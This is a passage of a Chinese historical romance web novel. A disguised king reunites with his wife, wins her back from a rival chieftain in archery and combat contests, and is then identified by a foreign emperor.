呼延吉说完,把江念的手握着,哪怕现在他坦白这些话时仍是忐忑的,怕她牵怪他,可他没办法,他有难处,他更是没料到事态会发展成那样。 他选择了一条对他、对整个夷越来说最为有益,最捷径的方式,可这条捷径最后给江家带来了灭顶之灾。 “阿姐,我真的没料到。” “是啊!谁也料不准以后,同你分开的时日里,我想了好多,白天把自己闭在屋里想,晚间躺于榻上也想,别人同我说话时,我也在想,想什么呢,就想你刚才说的那番话,因为你,李旭才登上帝位,他若不登上帝位,江家也不会遭难。” 呼延吉有些慌了,把江念的手拉得更紧:“阿姐,我……” “吉儿,你听我说完。”江念很认真地看向他,继续说道,“李旭被囚禁于太子府时,我前去问他,他指摘你的那些话让我很痛苦,我跳不出来,以至于他的那些话是真是假都不重要了,因为你助李旭为帝是事实。” “再后来,我上了海船,我便在船上问自己一个问题,等我到了大夏,开了香铺,白日忙碌之时还好,待更深夜静之时,我仍是问自己那个问题,一遍又一遍地问,一遍又一遍地没有答案。” “什么问题?”呼延吉问道。 江念望向他的眼里,轻声道:“如果重来一次,我还会不会救下当年那个小儿?我问自己,却给不了自己回答。” “如果当年我没救下你,你便不能活,就不会发生后来的事,如此说来,我也要担责,我们谁也没法料想以后。” 风起于青萍之末,浪成于微澜之间。 呼延吉没再说话,只是把人揽进怀里,江念伏在他的怀中,感受有力的心跳,感受舒宜的暖意。 呼延吉慢慢低下头,在她纤柔的额发落下一吻,然后吻上她的香腮。 江念微睁着眼,将脸儿迎着他,双臂环上他的颈。 因为离得太近,近到只看到他的虚影,她怕不真,怕是泡影,所以他呼出的气息让她感受他的存在,让她渐渐上瘾,随着他的呼吸而呼吸。 呼延吉解开她小衣的系带,正要从衣摆舒手进去,江念想到什么,往后退了退,问道:“朔儿呢?” “朔儿被照顾得很好。”呼延吉把江念小巧的耳垂含在嘴里,含糊说道。 她的耳在他口舌间发烫,他又沿着她发烫的耳吻到耳下,再妍濡到她的下颌。 江念不知又想到什么,拿手抵到呼延吉的胸前,微微细喘地说道:“还有一事……” 呼延吉咽了咽喉,捺下性儿,问道:“什么?” 江念抬眼看着他,迟疑道:“这两年,你有没有……” 呼延吉不明:“有没有什么?” “有没有亲近的人?” 江念问得有些不讲情理,别说富庶之家,就是普通人家的男子同自家女人分了两年,另觅新欢也是寻常。 可正因他二人的感情不同于世间任何一对夫妻,她才开口问这个话。 呼延吉笑出声,在她耳边低声道:“有没有呢……阿姐试过就知道了。” 江念还没理会意思,呼延吉已打下另一半床帐。 被中恩爱,柔情温存,终于,在一阵寂静后,江念明白他话里的意思,努力压着嘴角,抚去他额上的细汗。 “行了一路,定是乏累,早些休息?” 呼延吉默着脸,脸色有些难辨:“再来一次。” 江念自然依着他。 女人用酥软的臂膀环着怀里坚毅的身躯,任他攻取她,任他将力道化在她的身上,男人强悍的劲,恰到好处的让她在破碎和重组间徘徊。 “阿姐……”呼延吉分出心神轻唤。 江念在欢苦中“唔”了一声,在他结实的臂膀和胸脯间留下几道红色的划痕,然后回应着他。 “吉儿……” “夫君……” 在汗水和热温之下,呼延吉压着声儿:“我在。” 到最后那刻,江念不敢太大声,细吟在喉间。 事毕,江念让秋水去外间打些水来,秋水一直在里间候着传唤,就在刚才她看清了来人,是那位夷越小质子。 她认出来了,那位漂亮的小质子,曾在他们江府养过伤,后来就经常往江府跑,虽然娘子不喜他,可他仍往娘子跟前凑。 不论娘子怎样责辱他,他也不恼,到最后她家娘子拿他也是无法,一口一个“阿姐”叫的,比她家小郎君叫得还亲。 她记得他回夷越之前,那个时候他才十五,娘子二十年岁。 娘子正在楼里听戏,他找了过来,两人起了争执,最后不欢而散,待他离开,娘子发了好大一通脾气,把桌上的茶碗都砸了。 秋水听见外面叫水,赶紧应是,去了外面打水进屋,然后退回里间。 两人清过身,重新躺回榻间。 “适才轲儿怎么没同我说你来了?”江念问道。 呼延吉摩挲着她华泽的肩头:“他不知你的态度,不敢在你面前提起我,怕再次说错话坏事,所以干脆不提,让我自己处理。” 江念“嗯”了一声。 “你开了间香料铺?”呼延吉拿唇碰了碰她的额。 江念笑道:“是呢,来了大夏国谋生计,手里有些钱便想着做门营生。” “明日带我去看看?” 江念便不言语了。 呼延吉低下眼看着她:“怎么了?” “轲儿没同你说?” 呼延吉知道江念被烈真觊觎,从而居于九泽台,不过里面具体的细节,他并不清楚,江轲也没说。 “他只简单说了你的近况,没说太多,发生了何事?”呼延吉再次问道。 “因住进九泽台,那铺子没人照理便关了。”江念腔调低迷,她很心疼,为那铺子付出许多心血,就这么说关就关了。 很快江念又来了兴致,把自己如何开铺,如何想办法打开销路的经历告诉了呼延吉。 呼延吉听她兴兴然地说着。 “不打紧,关了就关了,明日带我去看看,待回了夷越,你在都城也可以开,想开多少就开多少家。”呼延吉说道。 江念猛地抬头,因动作太突然,把男人的下巴“磕哒”一声响。 “当真么?回了夷越我也能开香料铺子?”江念一面揉他的下巴,一面问道。 呼延吉“嗯”了一声:“你开嘛,我也不说什么,我知你整日待在王庭无聊,总想往外面去。” 江念抿嘴笑,可是没一瞬,那笑又淡了下来。 “烈真……我担心他不会轻易罢手,不过起因也是我求到他跟前,才有眼下的困窘。” 呼延吉在她额上落下一吻:“不怕他,万事有我,既然摆在台面上的事,咱们就明堂正轨地来,叫他半句话驳不得。” 江念将脸偎进呼延吉的怀里“唔”了一声。 “睡罢。”呼延吉说道。 江念已是累困,只是喃喃地应了一声便沉沉地睡了过去。 呼延吉两眼盯着虚无的某一处,眸光隐动。 次日,外面天光大亮,呼延吉已醒,可他不敢动因为怀里的人还熟睡着。 秋水已起身,蹑着手脚出了屋子,准备她家娘子起床后的梳洗。 自她和娘子在江府重逢,后面又经历了那许多,就没见娘子睡得这样香熟过,一次也没有。 秋水指着院中的下人让他们手脚轻些,然后又问厨房朝食备下了没有。 正说着,院里来了一人。 “你家主子可醒了?” 秋水看着来人,面色一白,很快反应过来,说道:“回乌塔王的话,娘子还未起身,可是有事?婢子待娘子起身后代为传知。” 烈真心道,平时这个点已起身,今儿倒是稀奇。 外面的人声传到呼延吉的耳中,当下一张脸冷得跟冰一样,怀中人似是感到异样,迷朦醒来,惺忪着睡眼。 呼延吉低下头,就见江念将醒未醒地看着他,然后伸手在他脸上捏了捏,渐渐地,眼神清明。 正在这时,房门被叩响…… 第293章 阿姐心疼 江念好久没睡得这样深沉,朦胧中醒来,缓了缓神,房门被敲响。 “娘子,该起身了。” 原是刚才烈真来了,秋水拿话应对过去,眼下人走了,于是支开了院子里的下人,叫江念起身。 这会儿起身已是晚了,那位贵人又在屋里,在事情还未明朗前,叫人瞧去了不好。 江念退出了呼延吉的怀:“你先起身。” 呼延吉动作利索,穿衣毕,隔着纱帐,说道:“我先去那边一趟,立马就来。” 江念“嗯”着应下,呼延吉闪出屋室。 待呼延吉走后,秋水进屋伺候江念起身,然后从院外叫人进来招呼江念洗漱,又从衣柜里挑了一套常穿的挼蓝色衫裙。 江念看了一眼那套衫裙,说道:“今儿不穿这件,换别的,要精神些的。” 秋水领会,从衣柜取出不曾穿的一套,待江念洗漱毕替她换上。 贴身浅杏色罗绢的襕裙,外罩一件天水碧的对襟外衫,及至膝处,两侧开衩高至腰间,露出精致的锁骨和小衣上缘,领缘、袖缘镶有精美的折枝花滚边。 下着一件月白罗纱裙,行走时褶裥如水波起伏流动。 秋水很知道她家娘子的美,不论是云鬓花颜金步摇,抑或是青丝半绾木钗斜,万般姿态,就是那灯上人,画中仙。 轻施粉黛,朱唇轻点,绾了一个精致的髻,点上珍珠和翠珠花钿。 江念对镜微微一笑,打开自己的妆奁,这些首饰都是她自己的,里面的每一件她都喜爱,从中挑出两个白玉镯以丝帕套到腕间,抬手间,磕碰出清脆的声音。 正在此时,烈真走了进来,眼睛落到江念身上,呆了呆,头一次看她精心装扮。 “今日受魏王所邀,还有夷越的那位小国舅,一同去郊外的庄子游玩,我见你这些时总在院子里也不出去走动,过来带你一起。”烈真说道。 江念点了点头。 烈真见她难得没有回绝,心情甚好,慢慢走到她的身边,才站定,屋里又进来一人。 烈真转头看去,那人也看了过来,两人皆是一怔,紧接着屋里的空气陡然变沉。 烈真认了出来,是那个刀疤侍卫,他对这人印象很深,当下怒喝:“谁让你进来的?!” 呼延吉沉着脸并不说话。 江念赶紧起身,给秋水睇了个眼色,秋水会意上前说道:“这护卫官早上走错过一趟,婢子给他指过一次路,想来这会儿又寻错了。” 烈真紧紧盯着那人,昨夜皇宫筵宴上,这个护卫从头到尾不论几时扫向他,始终微垂着眼端坐在那里。 同那位小国舅比起来,他的这个护卫更招人眼。 江念对秋水摆了摆手:“带这位护卫官去夷越使臣的住所,别再走丢了。” 秋水应是。 烈真见人走后,总觉着哪里不对,一时间又说不上来。 …… 这边,江轲见呼延吉去了又回,那脸沉得能滴水。 昨日夜里,江轲因为心烦,独自一人信步闲逛,不期同江念相遇,之后他就把这个消息告诉了呼延吉,料想他二人必有一夜的话要说。 果然,呼延吉更深去的,第二日才回,回来洗漱后又重新往脸上贴了疤。 江轲见后撇了撇嘴:“你贴这玩意有什么用?那些人又不曾见过你。” 呼延吉一面鼓捣一面说:“阿姐心疼。” 江轲一口水差点喷出来,见他贴好后急不可耐地往那边去,这才去没一会儿,估计也就一个来回的时间,怎的又回了。 “脸怎么臭成这样?”江轲问道。 呼延吉一声不言语。 江轲大概猜到怎么回事,转了一个话头:“你准备怎么带阿姐离开?” 呼延吉这才抬起眼,冷嗤一声:“你先前怎么跟我说的?谁把匕首摁我面前,信誓旦旦说一定把阿姐带回,带不回便在我面前自戕谢罪,现在反过来问我?” 江轲摸了摸鼻子,说道:“这不是你来了嘛,你来了我就不操心了,是不是姐夫?” 呼延吉闭着眼,不愿看他,待再次睁眼让江轲近前。 江轲知他已有主意,便附耳过去,一面听着一面点头。 “你就按我说的做。”呼延吉说道。 江轲睁大眼:“那烈真恼了该如何是好?” 呼延吉冷嗤一声:“你都不怕我恼,还怕他?放心,恼了也不怕。” “这倒是,那我就按你说的做。” 没过一会儿,魏王那边来人,府外车马也备好,一众人出了九泽台。 烈真带上江念,阿丽娜见了也要跟去,只好把她也带上,江轲这边随了两个使臣及一众夷越侍卫,还有扮作护卫的呼延吉。 浩浩荡荡一群人往郊外行去。 魏秋郊外的庄子很大,与其说是庄子,不如说是一片半封闭式的山水田园。 江念坐在车里,不时打起车帘往外探看。 头一次还张目四顾,待找到她要找的人后,再次打起车帘目光直接锁定那一个方向。 同样的,呼延吉勒辔在队前缓行,不时会回头往江念这边看一眼。 有时二人错过,他看来时,她闭上车帘,待他背过身,她又打起车帘往他那里看去。 可总有那么几眼两人的目光对上,然后江念无声地笑,呼延吉便颔首回应。 秋水见她家娘子放下车帘后目光虚看着某一处,嘴角始终噙着笑。 “娘子,要不要吃葡萄,婢子剥了你吃?” 江念笑着点了点头。 秋水“嗳”了一声,伸手到窗外,用茶水净了手,再拿帕子拭干水渍,拿起一串紫红的葡萄,摘了几粒,细细剥了皮递到江念嘴边。 江念就着秋水的手,含到嘴里。 “甜不甜?”秋水问道。 江念将葡萄肉含着,汲了汁水,咽下:“甜呢。” 秋水心里高兴,终于在娘子脸上看见那可贵的孩子似的表情。不用什么都自己扛,不用顶着周围人的生计劳心劳力。 最初开店的时候,生意清冷,娘子嘴上不说心里可愁,不得不寻到人前,讨尽好话,想尽办法。 常常更深人静之时,还能听到她在床上翻动且伴着轻轻的叹息。 她想以她所能养活她们三人,后来还被那个乌塔公主下迷药。 秋水又剥了一颗,递到江念嘴边,江念推给她:“你也吃,很甜。” 秋水便自己吃了,点头“嗯”着应甜。 又行了一会儿,终于到了那处庄子,车马停下,江念在搀扶中下了马车。 江念才下马车,一个艳丽的身影便从她面前风一样地掠过,奔向另一个方向。 江念展眼看去,就见一向高傲的阿丽娜在一男子面前停住。 那男子身姿修长,穿着一身霁蓝色云锦暗纹提花交领长袍,裁剪合体但不过分紧身,衣身合度,袖口收紧,腰束玉带銙,端得是风姿英秀。 若她料得不错,那人便是大夏国的魏王,江念收回眼,寻找着呼延吉和江轲。 正看着,烈真走了来:“找什么?” 江念摇了摇头:“这里风景不错。” “乌塔的风景更好,待你去了也会喜欢的。”烈真说完,见江念同他始终保持着距离,多说了一句,“念娘,你不必同我这样生分。” 江念微微侧过头,不知该如何答言。 正在这时,一个声音从旁响起:“早听闻乌塔族骁勇,今日见了乌塔王的这些族人当真体格不凡,血性男儿果然名不虚传。” 烈真转头看去,来人正是那位夷越小国舅,身后还跟着那名侍卫。 烈真想起魏秋说的话,夷越以附属国,吞并上国大梁,迅速崛起,同大夏亦能抗衡,实力强劲不可小觑,而魏家兄弟让他留下,有意让乌塔同夷越通好。 “小国舅谬赞,本王观夷越国的将士更加英武彪悍。”说着扫了一眼江轲身后的护卫,心道此人能贴身随护,大小也是个官身。 此时,魏秋走了来,笑说道:“我可听见你们相互客套的话了。”说着同他二位叙礼。 江轲展眼四顾,说道:“这样大的庄场,不如来一场骑射比试,一为添兴,二为友好切磋,如何?” 魏秋也想看看夷越人的战力,毕竟苏和当时以一敌全场的体魄确实惊到他了。 刚才他扫了一眼场中的夷越武将,相较之下,苏和同这些人比算不得什么,心中不禁暗忖,还是不要同这些人敌对的好。 此提议烈真乐得同意。 庄子里有应候的下人,得知今日贵人们前来把什么都备好了。 比试之前,众人先在庄场吃喝一番,然后在庄场闲适地游览周边美景。 呼延吉看着不远处的江念,此时她正在树荫下歇坐,烈真随在她的身侧,弯着腰,不知同她说什么。 江轲走了来,循着他的目光看去,啧了一声:“你这惯使阴招的主儿,这回倒打起明牌来?” 呼延吉斜了江轲一眼,并不回话。 江念昨夜告诉他,是她有求烈真在先,这才身陷囹圄,论起来烈真并未迫她,眼下呼延吉只想让妻子回到身边,其他的人和事他暂且不计较…… 第294章 别的不要,就她 众人小憩过后开始骑射比试,庄场很大,展眼看去,望不见围垣。 大夏国作为东道,主持赛事,而夷越和乌塔各派几名武将出场比试。 乌塔这边,烈真支出自己手下的几名副手,江轲这边,支出几名拳脚好手。 第一场比骑射。 第二场兵器格斗。 第三场手搏,也就是徒手格斗。 待一切准备就绪,双方就要上场比试时,江轲突然开口。 “光比试,没有恩赏怎么行,就是赛赢了也没甚意思。” 魏秋想了想,也对,当下一挥手,叫人搬了十箱金锦器物放于众人眼前。 “若能赢得比试,这些赏赐尽可拿取……” 话未说完,众人就见那名刀疤侍卫出列,嘴角带讽地退了下去。 魏秋看向那人,笑了一声:“小国舅,看来你的侍卫瞧不上我的赏赐。” “魏王莫要见怪,我的这个护卫,眼光高,脾性古怪。”江轲说着,侧头轻斥,“还不快上前,准备准备。” 就在众人以为那人会应下时,他却开口道:“没有我要的赏赐,无趣,不比。” 语态疏狂,丝毫不将那些金银器物放在眼里。 这时江轲从旁道:“魏王别同他见识,既然没有他中意的赏赐,换他人上场也是一样。” 魏秋仿若没听到一般,看向那人,问道:“不知这位护卫官中意什么赏赐?我大夏稀珍无数,难不成皆入不得你的眼?” 呼延吉上前两步,说道:“我中意的只怕魏王大人给不了。” 魏秋也来了兴致:“护卫官中意之物可在庄场中?” “在场中。” “既然在这庄场上,本王便能做主,何物?说来。”魏秋说道。 呼延吉转身扬手一指:“我要她。” 众人循指看去,只见那护卫手指处是一大片林荫,林荫下坐着一貌美女子,众人先是一静接着面色丰富起来。 魏秋呆了呆,怎么也没料到这人要的是那美妇人,那妇人烈真可宝贝着。 若他要这名妇人,他还真做不得主。 正想着,烈真笑着走上前:“原来这位夷越将士不喜金银,喜美人,这个好办,待你赢了比试,让魏王赏你几个年轻的美人,不比那个好?” 魏秋正要接话,谁知那护卫却说:“别的不要,就她。” 呼延吉说罢,不看魏秋,转头看向烈真,不轻不重地说了句:“在我们夷越,比试得有让人心头发烫的彩头,舍不得恩赏,这赛试不比也罢,没甚意思。” 众人听后呼吸一窒,好大胆的言辞,偏那位小国舅纵着,并不出声阻止。 烈真此时脸也沉了下来,这些夷越人还没开始就摆出胜者的姿态,故意给乌塔下马威,好似笃定他们会赢,他若不应,岂不显得既赢不了,又输不起。 “好,本王应下了,你若赢了比试,她就归你。” 魏秋看了一眼烈真,确认道:“你同意?” 烈真点头道:“他都敢开这个口,我为何不敢应。” 不过烈真留有后手,他怎么可能把念娘让与他人,就算这名护卫最后赢了比试,他也有办法把人留下,管叫他竹篮打水一场空。 江念坐在树荫下,并不知发生了何事,只知即将有骑射比试。 “娘子,那些人怎么往咱们这边看?”秋水问道。 江念也奇怪,就见一个叮叮当当的身影走来,正是阿丽娜,眼中带着幸灾乐祸的同情。 “知道他们在说什么?” 江念冷笑着不理会。 阿丽娜不需要江念的回应,语中带笑:“拿你下赌注呢,那夷越护卫看中了你,若赢了比赛,不要金银器物,让我兄长把你赏给他。” 江念听后,呆了一瞬,阿丽娜以为她怕了,不愿委身于一个低下的护卫。 阿丽娜虽为乌塔人,可是这会儿却想夷越人赢得比试,特别是那个护卫官。 这个念娘她一点也不喜,不过一个商女,进了九泽台后姿态端得比她一个公主还高。 江念起身,往赛场外围走去,秋水紧随其后,阿丽娜得意地跟在她身侧,喋喋着。 “现在可认清了自己的身份?你不过就是我兄长手里把玩的物件,喜欢时盘两下,随时可舍弃。” 江念立住脚,转头看向阿丽娜:“你又是什么?又好到哪里去?还不是一个依附于人的物件,自认为比旁人贵的物件罢了。” “你说什么?!”阿丽娜气喝道。 “哪里说错了?没有你兄长,脱了这层公主的身份,你什么也不是,能不能活都成问题。” 江念有说这话的资本,她何尝不是高门贵女,曾经也傲慢骄奢过,从高台坠落后一无所有,身份这个东西虚无得很,有无不过一句话的事。 阿丽娜仿佛听到什么好笑的笑话,她的公主身份是出生就有的,会一辈子追随她,这就是她的资本。 江念不愿同她多说,径直走到赛场外围,立时有仆人引她坐下,这时,烈真走了来,坐到她的身侧。 “听阿丽娜公主说乌塔首领拿我做赌注?”江念问道。 “放心,我自有计较,那护卫赢不赢得了赛事还是两说,就算他最后赢了比赛,本王也不会叫他如愿。”烈真安抚道。 江念一听,追问:“难不成乌塔王打算在比试中做手脚?” “那倒不会,我和魏王都想看一看这些夷越人的战力。” “那你刚才话里的意思是……”江念问道。 烈真转头看向江念,笑道:“无须担心,我怎么可能把你让给他人。” 江念不知他有什么后手,她的注意力已被场上的比试引了过去,众人的注意都被引了过去。 第一场是骑射。 江念并不担心呼延吉,她知道他的能耐,他第一个纵马出场。 场上众人只见那夷越护卫从旁招了招手,监赛人上前,不知他在监赛人耳边说了什么,监赛人点了点头,转身走到魏王身边,把刚才那名护卫的话转达。 “他这么说的?”魏秋问道。 “是。” 魏秋抬头看向那名护卫官,然后对监赛人说道:“就按他说的。” 监赛人应下,招呼几人往箭靶走去,最后却在箭靶前吊起三个陶罐,三个陶罐分别用麻绳吊起,竖列垂摆。 众人见了,心道,这是打算加大难度,不射箭靶,改射箭靶前的陶罐? 然而他们还是想简单了,监赛人让三个仆役将陶罐提到一个高度,再用力一甩,几人立马退到一边。 三个被吊起的陶罐便如同秋千一样在空中大幅度的荡着。 前面一个陶罐向左摆荡时,中的陶罐向右摆荡,最后的陶罐又同前一个朝相反的方向摆荡。 三个陶罐错开着。 正在这时,众人见那护卫以极快的速度拈箭搭弓,弓弦缓缓拉开至耳后,“嗤”的一声,箭矢离弦,追风逐电般射出,临近陶罐时,箭矢笔直地从三个陶罐错开的间隙穿过,射中靶心! 场上只有风声,过了好一会儿才响起人声,这人声是来自夷越人,他们呼和着,比自己赢了比赛还兴奋。 而另一边的乌塔人截然相反,一个个脸上挂不住,却又无人站出拍胸回击。 呼延吉一开始就把难度拉到最大,让后面一众人的骑射显得没了看头。 江轲在旁边看着,心道,这是急成啥样了,只想速战速决,根本不给旁人机会。 接下来直接进入第二场,兵器格斗。 呼延吉直接入到场中,什么也不说,往那里一立,乌塔这边是一位魁伟武将。 那武将刚才就看这个夷越护卫不顺眼,想借这个机会找补回来,谁知还没行动,就听那人说道:“你不行,其他三人一起上。” 烈真作为一族首领,本不该表态,可这个夷越人太过狂妄。 “你一人对战四人?”接着又讥讽一句,“输了的话,可什么都没了。” 在场之人皆听明白这话里的意思,无非是调侃输了比试,抱不得美人归。 魏秋坐在一侧不语,脸上带了一点探究的神情,然后给监赛人睇了个眼色。 监赛人走到呼延吉面前,再次确认,得到肯定回答后,让乌塔四名武将一齐上场,各自挑选武器。 有人挑长枪,有人挑选宽背刀……四人挑选的各不相同。 烈真同魏秋看向呼延吉,想看一看这人会挑选一个什么武器,谁知这人并不走向兵器架,而是从自己的腰胯间抽出马鞭,凌空一甩,“啪——”的一声响。 这一下了不得,场中众人面色各异,什么意思?马鞭?!这已经不是看不起了,简直就是羞辱。 烈真脸色冷得发青,可魏秋却觉着有意思,若不是烈真在旁边,他兴许会笑出声。 四名乌塔人围拢上前,呈合围之势,一人快速挥刀,刀锋从正面斜劈而下,呼延吉侧身让过刀光,手腕一抖,“啪!”一声脆响,鞭梢精准抽中对方持刀的脉门。 刀脱手,那人捂腕痛呼后退。 另两人趁势左右夹击,左刀直刺呼延吉肋下,右枪挟着劲风横扫腰腹,呼延吉拧腰旋身,马鞭顺势划出一个浑圆大圈,荡开左边刺刀。 长鞭去势未绝,鞭梢在空中一个诡异回旋,“嗖”的一声轻啸,牢牢卷住了右边横扫而至的枪杆,发力一扯,长枪脱手飞出,斜扎于地面。 此二人虎口剧震,两条胳膊止不住地抖着。 最后一人,呼延吉不待他出手,又是“啪——”的凌空一甩,马鞭已缠上那人的颈脖,手腕一收,鞭梢回卷,那人飞砸到地面,激起土烟。 这会儿魏秋的脸色也变了,再没看戏的态度从座位站起。 只因他深知那四人的身手,能随护在烈真跟前的绝非泛泛之辈,不到一盏茶的工夫竟全部落败。 江轲在心里连声“啧啧”,还得是阿吉。 呼延吉转头看向烈真,开口道:“下一场。” 说罢,眼睛又落到烈真旁边的江念身上,江念两手筒在一处,相互交握于袖摆下,努力使自己看起来不那么紧张。 她不知道烈真留的后手是什么,眼下她就想呼延吉赢,没别的。 第三场是近身搏斗。 呼延吉立于场上不动,乌塔战败的四人相互看着,拿不定主意,不知他们四人一起上还是分开,关键是他们一起也敌不过那人。 这时一个声音响起:“我来!” 第295章 没杀他就算好的 众人循声看去。 说出“我来”二字之人正是乌塔族首领,烈真。 只见他褪下宽大的外袍,走向场中。 “本王同你比,如何?”烈真说道。 呼延吉将手里的马鞭丢下,笑道:“我只要美人儿,你们谁来都行。” 说罢,又忍不住看了一眼江念,这一眼对烈真来说就是挑衅。 此时场上众人对这个夷越人的观感发生了大变,就连一贯傲娇的阿丽娜不免在这个夷越护卫身上多看两眼。 这人身姿高大挺拔,在面对他王兄时也泰然自若,就是脸上有一道疤,贯穿了整个面部,若是没这道疤就好了。 这人眼光也不行,怎么不挑她却挑一个三旬的妇人,虽说这妇人容貌不错,可年纪不再青春。 唯一的解释就是这个夷越人自认为配不上她,毕竟她的身份太过高贵,所以退而求其次选那个念娘。 想到这里,阿丽娜释然了。 此时,众人把目光聚焦到场上二人身上。 一个是乌塔部族首领,一个是夷越国的侍卫。 两人皆不多话,烈真欺身上前,右拳蓄力直击呼延吉面门,爆发迅猛,呼延吉不避不闪,以左掌格开,再如铁闸一般猛地向下压去,右手化拳直击烈真心窝。 速度迅捷,没有半点花式。 烈真不敢直接此拳,旋步往后移开半步,险险避过呼延吉的拳锋,不待他有下一步动作,呼延吉以拳头化掌,在众人还没反应过来时,扣住烈真的臂腕,屈膝狠狠顶向其肚腹。 因动作太快,力道又生猛,烈真没能避开,硬挨了一记膝撞。 呼延吉这一记膝撞可没省力,不仅没省力,还带着泄愤报复的意味。 烈真往后连退几步才止住,嘴角流出一股细血。 不待他站定,对面的攻势再次袭来,呼延吉手腕一翻,瞬间扣死烈真的肩颈,臂力一沉。 烈真的半边身子动弹不得,他在这力道下,任凭什么招式都施展不出,竟是被掐住命门一般。 此人竟有如此霸道的膂力! 呼延吉足下使力,腰胯使出惊人的劲力,猛地一带一甩! 烈真被震出数丈远,落地后单膝跪地,被那人抓过的半边身子,麻得没了知觉。 一旁围观之人,这时发觉不对,这哪里是切磋,那夷越人分明要取乌塔王的性命。 就在众人冒出这一念头时,呼延吉眸中厉色乍现,不容烈真喘息,再次欺身上前,左足反踢来不及起身的烈真。 会拳脚的都知道,就算烈真接下这一脚力,接下来迎向他的就是连环踢了,躲不过的。 魏秋眼见形势不对,赶紧出手横拦在二人中间,本想替烈真卸下这一记脚力,可真当他接住时,才发现完全卸不去那强势的蛮劲。 只能硬生生接下,把他自己也震得连连后退。 呼延吉立住身,理了理衣摆,往前走了一步,眼往下压,先是看了眼魏秋,接着又看向魏秋身旁的烈真。 “两人一起来?” 魏秋整了整面色,扯出一抹笑:“这位将军身手果然了得,我等皆不是对手,此场比试的结果已然明了,不必再比了。” 好嘛,这会儿连称呼都改了,直接改口成将军。 呼延吉点了点头,抬步往江念身边走去,刚走没两步身后响起烈真的声音。 “你虽赢了,可她却并不归你。” 此话一出,在场众人知道又有好戏看了。 魏秋有些不快,低声问烈真:“什么意思,你堂堂一族之主,既然当时应下,断不能出尔反尔。” 烈真并不理会,继续说道:“念娘并非本王的姬妾,是以,我做不得她的主,你得问过她本人的意思,她若愿意跟你,你方能带她走。” 这也是烈真为何爽快应下的原因,他并不担心比试结果,就算这个夷越人赢得比试也没关系,他只需以此为由搪塞便可。 让念娘自行抉择,他算准她不会放着一族之主不跟,而去跟一个身份低下的侍卫。 这个话明摆着是在耍无赖,不愿相让美人儿还故意找理由推阻,就连在场的乌塔人也觉着不鲜亮。 微妙的气氛中,那名夷越侍卫走到美妇人身边,很认真地问她:“可愿随我回夷越?” 让人意料不到的人,美妇人笑着点道:“愿随将军回夷越。” 烈真几步上前,盯着江念的眼:“你愿意跟他?!” 江念并不应声,而是径直走到呼延吉的身后给出答案。 烈真不甘心亦不愿相信,他苦求得来的人,就这么跟别人跑了?可再不甘心,事情已走到这一步,众人都看着,不应也得应。 比试过后,各人散去。 呼延吉在众目睽睽之下把江念带离了人群。 江轲也想跟上去,却因为小国舅的身份还要应对魏秋和烈真。 呼延吉把江念抱上马背,他则在地上牵马缓行。 “这就好了?”江念有些不敢置信。 呼延吉回过身,眼睛望向不远处的烈真,心道,那人只怕不会善罢甘休,不过在大夏境内,他应当不敢乱来,呼延吉并不想江念跟着忧心,遂说道:“回了九泽台,你就搬到我的院子来。” 江念“嗯”着应下,又问:“我们几时回?” “不急,你带我去看一看你那香铺?还有你的几位友人。” 江念听江轲说了,呼延吉是收到云娘的书信从而得知她的踪迹,而云娘的书信本是寄往另一处的,阴差阳错之下到了呼延吉手里。 可江念并不知云娘负了呼延吉的王令一事。 …… 从庄园回了九泽台,江念随便收捡了几件衣物搬去了呼延吉的住所。 随呼延吉前来的使臣早已得了交代,个个心照不宣。 烈真回九泽台时,江念的院子已人去楼空。 彼边…… 一殿宇内,两男子对坐于茶案边。 魏秋把今日庄子比试的经过讲了出来。 他的对面坐着大夏国皇帝,也是他的兄长,魏泽。 “皇兄,这个夷越侍卫的身手只怕我和烈真加在一起也不能敌,烈真今日差一点栽他手里。”魏秋说道。 魏泽抬起眼皮,看了自己这个弟弟一眼,魏秋随他征战好些年,比之从前确实长进不少。 “他没杀烈真就算好的。” 魏秋怔愣片刻,问道:“皇兄为何这样说?” “那日晚宴,你就没看出点什么来?”魏泽用茶拈将滚水中的杯盏取出。 魏秋知他皇兄从不说无用的话,当下回想那晚的情景。 他只知道那个护卫坐在小国舅江轲左手后侧的矮几边,身形半隐于暗处,并不显,可纵使这样也让人无法忽视。 但这不能说明什么。 “还请皇兄明示。”魏秋拿起茶壶,为他兄长沏上刚刚沸腾的茶水,腾起白烟,雾着他的双目。 魏泽点了点桌,说道:“给你自己倒一杯。” 魏秋依言给自己也沏了一杯,然后将手放于杯边,等着兄长为他解惑。 魏泽看了魏秋一眼,然后看了他手边的茶盏一眼,接着托起自己的茶盏放到嘴边呷了一口。 魏秋下意识地拿起茶盏往嘴边送去,手却蓦地顿在空中,脑中一道光闪,那晚的情景再次浮现于脑海里,一点点清晰起来。 那晚歌舞吹弹毕,皇兄举杯迎贺夷越使臣,当时烈真并坐于皇兄侧边,夷越使臣坐在他皇兄左手一溜排,而他坐在夷越使臣们的对面一溜排。 他能很清楚得观得当时那些夷越人的反应,皇兄举杯时,在场所有人皆举起了酒盏,包括同他一侧的乌塔人。 唯有对面的夷越人慢一拍,他们好似在等什么。 等什么?是了,那个护卫举了杯,那些夷越使臣才端杯,包括那位夷越小国舅。 再细细一回想,好像每一次共举,夷越那方都会慢一刻,他们要么微侧着身,以眼梢观着后面,要么侧头看着小国舅江轲,而江轲当时是什么样的,一只胳膊支在案上,身子侧向他的那名侍卫。 这些人都在等那名侍卫端盏,在他端盏后,夷越使臣们才端起酒盏。 就如同……他同皇兄现在一样,已成了下意识的行为,皇兄端了盏,他才端起。 魏泽往魏秋面上探了一眼,知道他已通晓,把他手里的茶盏抬了抬:“那人就是夷越王,呼延吉。” “所以说,呼延吉随使臣微行到我大夏?” 魏泽点头道:“不错。” 魏秋想不明白,呼延吉为何这样做,一国君王离境这可是大忌。 更何况大夏同夷越刚刚建交,形势不明,他就敢随使臣出访大夏,关键是本人来都来了,却不显真身。 魏泽看出魏秋所想,说道:“你同他们在庄场共处了一日,就没发现点什么?” 魏秋惭愧,这个时候他才发现,他兄长虽未亲自到场,一切却尽在掌握。 “呼延吉为了一妇人亲身上场比试,那名妇人……”想到这里魏秋记起,那名叫念娘的妇人好似是梁人。 而那名夷越小国舅也是梁人,直到这个时候他才猛然惊觉一点,一个一直被他忽略的点。 那名夷越小国舅同那名叫念娘的妇人眉目间竟有几分相似。 “所以那名妇人是呼延吉之妻……” 第296章 为何不抱着我的衣衫? 魏秋意识到这一点后,脑中生出一个念头。 “既然兄长识出那人是夷越王,是否有别的打算?” 魏泽轻笑一声,不答反问:“别的打算?何种打算?” 